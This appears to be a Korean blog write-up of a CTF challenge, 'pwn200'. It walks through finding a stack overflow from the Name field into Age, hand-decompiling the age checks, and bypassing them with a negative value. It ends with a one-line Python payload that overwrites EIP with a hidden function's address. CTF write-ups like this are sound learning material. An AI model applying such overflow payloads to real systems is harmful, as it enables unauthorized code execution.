문제이름이 저거인지는 몰라도 일단은 pwn200입니다
아마 200점 이겠죠...?
pwn200 <== 문제
문제 일단 실행해보면 이름이랑 나이 입력받아여
바로 ida ㄱㄱ
쉬우니까 hex-ray 안쓰고 할게여
read_user 라는 함수 호출하고 연속으로 atExit 함수 호출하는데
아마
v1 = read_user()
atExit(v1)
식으로 인자구성 되서 가는거 같아여 차례로 하나하나 까보죠
read_user 함수 보면 Name 받고, Age 받네요.
Age 랑 Name 랑 주소 차이는 4 밖에 안나여
고로 Name 크기 [48 byte] + Age [4 byte] 하면 Age를 덮어쓸수 있어요.
그럼 위에서 했던것처럼 atExit 인자로 덮어쓴 Age가 들어갈 수 있겠네요 atExit 를 이제 봅시다
대충 핸드레이 해보면
if (Age <= 19h)
{
if(Age <= 12h){
if( Age >0) ftn = kid;
}else
{
ftn = adult;
}
}else
{
ftn = man;
}
ftn( );
return 0;
정도 되나요
저희가 Overwrite 시킨 Age 가 If 에 들어갔다간 바뀌어 버리네요;;
고로 If 문을 우회할 수 있는 값을 찾아보니 음수를 넣으면 If가 우회되는,,,!
그럼 Name 에는 48byte + 4byte[EIP]
넣고 Age 에는 -1 넣으면 제가 원하는 함수를 실행 시킬수 있겠네요
뭐로 바꿀까 고민했는데
이런 히든함수가...?!?!
고로 이걸로 바꾸죠 뭐
(python -c 'print "A"*48 + "\x74\x86\x04\x08" + "\n" + "-1"';cat)
흠 푼거겠죠 eip 바꿨으니
'Pwnable' 카테고리의 다른 글
[Toddler's Bottle] UAF (0) | 2017.07.04 |
---|---|
[Pico] ROP 1, 2, 3 (0) | 2017.06.29 |
[Plaid] Ropasaurusrex (0) | 2017.06.28 |
[Toddler's Bottle] cmd1 , cmd2 (0) | 2017.05.30 |
[Toddler's Bottle] flag (0) | 2017.05.30 |